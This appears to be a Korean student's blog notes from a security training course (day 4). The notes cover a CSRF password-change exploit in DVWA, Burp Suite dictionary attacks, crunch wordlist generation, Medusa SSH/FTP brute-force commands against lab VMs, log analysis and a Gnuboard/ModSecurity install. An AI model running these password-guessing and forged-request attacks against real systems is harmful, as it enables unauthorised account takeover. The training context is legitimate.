본문 바로가기

등등/보안 위협 탐지

보안 위협 탐지 - 4일차


* 오늘 내용
- CSRF, Brute Force, Dictionary Attack (Medusa, Burp Suite)
- Wireshark 문제 풀이
- Ubuntu Server에 DVWA 설치

* CSRF (Cross Site Request Forgery : 교차 사이트 요청 위조)
- 공격 대상 : Web Server
- Client의 권한을 이용해서 위조된 요청을 Web Server에게 보내는 공격
- 대표적 사례 : 자동 댓글 달기, 좋아요 눌러지기, 비밀번호 변경, 회원 탈퇴 요청, 회원 승급 요청 등등
- 사용자들이 원하지 않았지만 스크립트의 소스 안에 공격자의 의도가 포함되어 있는 상태로 웹서버에 요청이 보내짐

실습) Metasploitable2를 켜고 DVWA에 접속합니다.
- 리눅스는 굳이 로그인하지 않아도 서버가 실행됨 
- DVWA : admin / password
- Security Level : Low 변경
- CSRF메뉴 클릭
- admin의 패스워드를 123456으로 변경하기 위해, 123456을 두번 입력하고 Change클릭
- Brute Force 메뉴에서  admin/password하면 로그인 안됨,  admin/123456하면 로그인 됨
- CSRF 메뉴로 와서  F12를 누르고 디버거를 클릭하면   <form>~</form>부분을 확인 (46~52번 라인)
- 46~52번 라인을 복사해서 메모장을 열고 붙여넣기, 저장하고 이름은 csrf.html로 저장
- 수정 내용
   주소표시줄을 복사해서 #을 지우고 붙여넣기
   INPUT의 맨 뒤에  value=""를 추가
   TYPE을 text로 변경, 저장
- csrf.html에 오른쪽 마우스 클릭, 처음 로그인했던 브라우저로 열어보기
- 패스워드를 'korea'로 변경하고 change 클릭   ----->  admin / korea  (Brute Force 메뉴 또는 처음 로그인 화면에서 확인 가능)


* CSRF
- 공격자는 Client의 권한을 이용해서 Web Server에 위조된 요청을 보냄
- 댓글, 관리자에게 전달되는 내용 등등
- OWASP 2013년 버전에서는 8위였으나, 2017년 버전에서는 순위밖으로 내려감 (대응 방법이 많이 나와있어서 심각 수준이 내려감)

실습) Burp Suite를 활용한 Dictionary Attack
- intercept는 off로 합니다.
- Brute Force 메뉴에서  gordonb / 1234  이렇게 넣어봅니다.  ----->  incorrect 
- HTTP history에서 gordonb /1234 넣었던 GET 요청이 있음 (일반적으로는 POST로 보냄, DVWA에서만 GET으로 보냄)
- 오른쪽 마우스 클릭해서 Send to Intruder를 클릭, 메뉴에 Intruder를 클릭
- 1234를 제외한 나머지 형광펜(?)부분은 블럭설정 후 오른쪽의 Clear를 클릭하면 해제됨
- Payloads 메뉴에서 Simple List(Dictionary) 선택
- Load 버튼을 누르고, password.txt 파일을 선택하고 open 클릭
- Start Attack 클릭
  (Demo Version은 Time Throatle적용, 점점 느려짐)
- 패스워드를 찾아도 멈추지 않음... 그러면, 진짜 패스워드는 어떻게 구분할까요?
- Response의 길이가 다른 것이 정답
   ex) 패스워드 틀리면 "틀렸습니다." ----> 길이가 동일,   정답이면 "딩동댕 정답입니다." -----> 길이가 달라짐
- X표시 누르고, Discard를 선택합니다.  (굳이 백그라운드에서 실행할 필요 없음)

실습) 위와 같은 방법으로
계정 : 1337,  pablo 계정을 Dictionary로 공격해보세요.

* 로그 보는 방법
cd  /var/log/apache2
tail   -30  access.log                   //  tail : 꼬리부분, 즉 최근에 추가된 내용,    -30 : 30줄

* 로그의 구성 : 누가, 언제, 어디서, 무엇을, 어떻게로 구성됨  (왜는 없음...)

실습) Brute Force 실습
- 아까 만든 csrf.html을 이용해서 admin의 패스워드를 1234로 변경하세요.

* Brute : 짐승같은
- Brutus : Caesar의 암살자중 한명  -----> 부르터스 너마저?   '짐승같은 놈', '무식한' 
   ex) 로마인 이야기 (저자: 시오노 나나미)

   Blog & Note

* Brute Force Attack
- 전수대입법, 무차별대입 공격 이라고도 함
- 모든 가능한 경우의 수를 대입하는 공격
- 시간이 많이 걸리는 것이 단점
- 대응 방법
  1) 길고 복잡한 패스워드 사용
  2) 횟수제한 및 패스워드 틀림 지정 횟수 초과시 잠금(lock) 설정 ----> 본인확인후 unlock (신분증, 휴대폰인증 등)
  3) Captcha를 활용 : 자동화된 스크립트를 대입하는 것을 차단해줌 (사람이 넣을 수밖에...)

* Kali Linux의 Medusa를 사용해서 Dictionary Attack 시도
- Meta2에 계정이 있는지 확인
  $ cat  /etc/passwd                      //  blackpink, itzy, ive
  $ sudo  ls                (PW : msfadmin)
  $ sudo  adduser  winner
         ( PW : smile , 나머지는 그냥 엔터,  correct?  y )

* adduser와 useradd의 차이점은?
   -----> adduser는 홈디렉토리를 생성,  useradd는 계정만 만듦 (ubuntu와 Debian계열)
   cf. Red Hat계열에서 useradd를 해도 홈디렉토리를 만들어줌...
   -----> home directory가 없으면 FTP로그인 안됨

* Kali Linux의 Medusa
$ sudo  medusa  --help
   -h : host name
   -u : user name
   -P : password file
   -M : 실행 모듈   ex) ssh,  ftp,  telnet 등

* Dictionary 수정  (John the Ripper에 있는 딕셔너리를 사용)
$ cd  /usr/share/john
$ sudo   vi  password.lst
  :set nu
   dd                      // 한줄 삭제
    .                        // 앞 명령 반복    (123456이 가장 위로 올 때까지 삭제, 1~13번까지의 주석 삭제)
:wq

$ sudo  medusa  -h  192.168.5.129  -u winner  -P  password.lst  -M  ssh
   ----> 패스워드를 찾으면 멈춤

* 딕셔너리 만들기 실습
$ cd  /usr/share/crunch
$ sudo  man  crunch                               // man : manual

1) 숫자 4자리로 구성된 딕셔너리를 만들기
$ sudo  crunch  4  4  0123456789   -o  pw1.txt
$ less  pw1.txt                                           //   0000~9999까지 총 10000개의 숫자가 생성됨

주의사항) 너무 큰 파일을 생성하면 에러 발생 우려   ex) 최대 500MB 이하로 생성해야 함

2) 소문자 4자리로 구성된 딕셔너리를 만들기
$ less  charset.lst                            // 파일 내용 보기
   ualpha : 대문자,   lalpha : 소문자,  numeric : 숫자,   lalpha-numeric : 소문자와 숫자의 조합
$ sudo  crunch  4  4  -f charset.lst   lalpha  -o  pw2.txt
$ head  -30  pw2.txt                           // 위에서 30줄만 보기
$ tail   -30  pw2.txt

3) 특정 문자가 들어가는 패턴을 생성하기  (sk뒤에 숫자 2개가 들어가는 패턴)
$ sudo  crunch  4  4  0123456789  -t  'sk@@'    -o  pw3.txt
$ less  pw3.txt                       //   sk00으로 시작해서 sk99로 끝남

'  '를 사용하고 @를 넣으면 와일드 문자(아무거나 올 수 있음)로 사용되지만,
'  '를 사용하지 않는 경우 아래와 같이 문자가 지정됨 
            @ will insert lower case characters  ---> 소문자
              , will insert upper case characters  ---> 대문자
              % will insert numbers                 ----> 숫자
              ^ will insert symbols                  ----> 특수문자

4) skinfosec뒤에 숫자 세자리, 특수문자 1자리로 된 딕셔너리를 만들려면?
$  sudo  crunch  13  13   -t  skinfosec%%%^  -o  pw4.txt
$  less  pw4.txt

실습) Crunch로 만든 딕셔너리를 이용해서 Medusa로 공격하기
- Meta2에  girlsday / Sk#4                       // 대문자,소문자,특수문자,숫자로 된 패스워드를 지정
  $ sudo  adduser  girlsday
      PW : Sk#4                                       // 비밀번호를 입력할 때 커서가 안 움직이는 이유는?  자리수를 노출하지 않기 위해서
- 딕셔너리를 만들고
$  sudo  crunch  4 4  -t  ,@^%   -o  pw5.txt

- Medusa로 공격하기
$ sudo  medusa  -h  192.168.5.X  -u  girlsday  -P  pw5.txt  -M  ssh  -t 16
$ sudo  medusa  -h  [타겟호스트]  -u [계정명]  -P [딕셔너리]  -M [모듈]  -t  16                    //  -t : thread 

* Metasploitable2에서 로그 확인하기
$ cd   /var/log
$ tail  -f  auth.log                         //  -f : finishless (실시간 로그 확인)
  ( ctrl + c하면 중지됨 )

* 로그를 Kali Linux로 가져가서 분석하기
$ sudo  cp  auth.log   /var/www
$ cd  /var/www
$ sudo  chmod  777  auth.log

* Kali에서 File > New Tab을 누르고 새탭에서 작업합니다.
$ sudo  wget  http://192.168.5.129/auth.log
$ sudo  tail  -10  auth.log
$ cat  auth.log  |  awk '{print $12,$13,$14,$15}' |  sort  |  uniq -c  
    uniq -c 는 중복을 제거하고 왼쪽에 개수(count)를 표시하는 명령
    sort는 정렬하라는 명령

$ echo 11 22 33 44  |  awk '{print $4,$3,$2,$1}'

$ cat  auth.log  |  awk  '{print $5}'  |  sort  -u  

GYM Time  (3시 3분까지 운동하겠습니다)

* 명령어만 골라서 어떤 명령어가 가장 많이 사용되었는지 확인
$ cat auth.log | awk '{print $5}'  | awk -F"[" '{print $1}' | sort | uniq -c | sort -rn

* FTP 로그 확인하기 (첫번째 탭)
- Kali에서 medusa로 FTP에 Dictionary Attack
$ sudo  medusa -h 192.168.5.129 -u girlsday -P pw5.txt  -M ftp -t 16

- Meta2에서 FTP로그 확인
$ sudo  tail  -10  /var/log/vsftpd.log
$ sudo  cp  /var/log/vsftpd.log    /var/www
$ sudo  /var/www
$ sudo  chmod  777  vsftpd.log

- Kali의 2번째 탭에서 다운로드
$ sudo  wget  http://192.168.5.129/vsftpd.log
$ tail  -10  vsftpd.log                                       // 로그가 어떻게 생겼는지 확인
$ cat vsftpd.log | awk '{print $8,$12}' | sort | uniq -c | sort -rn         // 8번째와 12번째 컬럼을 골라서 중복제거하고 내림차순 정렬

실습) 다른 로그도 위와 같은 방법으로 확인

* 파일을 가져오지 않고, Kali에서 Meta2로 SSH접속후 로그 확인
$ sudo  ssh  192.168.5.129  -l  msfadmin
$ sudo  cat  /var/log/vsftpd.log  |  awk '{print $8,$12}' | sort | uniq -c | sort -rn

* Ubuntu Server에 웹서버(Gnuboard) 설치 & 웹방화벽(Modsecurity) 설치
- 공간 확보를 위해 Ubuntu Desktop으로 설치한 것은 삭제 (Delete from Disk)
- Player > File > New Virtual Machine
- Ubuntu > Ubuntu 64-bit,  이름은 Ubuntu Server로 지정
- Edit Virtual Machine Settings > CD/DVD에서 Use ISO Image File > Browse 버튼 클릭 > ubuntu-20.04.4-live-server-amd64.iso 선택
- Memory는 2G (2048) 지정
- Play Virtual Machine
- 언어는 English 선택, Continue without updating
- 설치 완료후에 전원을 끄고 백업을 위해 압축을 해놓도록 합니다.
  <tab>키를 눌러서 help를 선택하고 Enter Shell 선택
  # shutdown -h now
- 전원이 꺼지면,  Edit Virtual Machine Settings > CD/DVD > Use Physical Drive로 변경
- Play Virtual Machine
  엔터를 입력하면
vm login:                          // 계정
Password:                          // 비밀번호
$ sudo  apt  update
$ logout
백업을 위해 전원을 끄고 폴더를 압축합니다.


- 윈도우에서 Command 창을 열고 SSH로 접속
cmd> ssh  192.168.5.135  -l  [계정]
         서버의 공개키 해시값 확인>  yes 입력

------> Gnuboard & Modsecurity 설치하세요~

* 우분투에 웹서버 설치
$ sudo apt update
$ sudo apt install vim
$ sudo apt install apache2
$ sudo apt install mysql-server
$ sudo apt install php php-mysql php-common php-gd php-fpm php-xml php-json php-curl git
$ sudo  systemctl  start  mysql                    //  MySQL을 시작합니다.
$ sudo  mysql  -u  root  -p
   create  database  gnuboard;
   create  user  board@localhost  identified by 'cyber12#$';
   grant  all  privileges  on  gnuboard.*   to  board@localhost;
   exit
$ cd  /var/www/html
$ sudo  git clone  https://github.com/gnuboard/gnuboard5
$ sudo  mkdir  data
$ sudo  chmod  707  data
$ sudo  service  apache2  restart

----> 웹브라우저로 접속해서 그누보드 설치하면 끝
----> Modsecurity 설치하고 공격에 Forbidden으로 응답하는지 확인합니다.





'등등 > 보안 위협 탐지' 카테고리의 다른 글

보안 위협 탐지 - 3일차  (0) 2022.06.23
Metasploitable2 ( DVWA 실습)  (0) 2022.05.31
보안 위협 탐지 - 2일차  (0) 2022.05.23
보안 위협 탐지 -1일차  (0) 2022.05.12
vmware ( window7) - window 파일공유  (0) 2022.05.12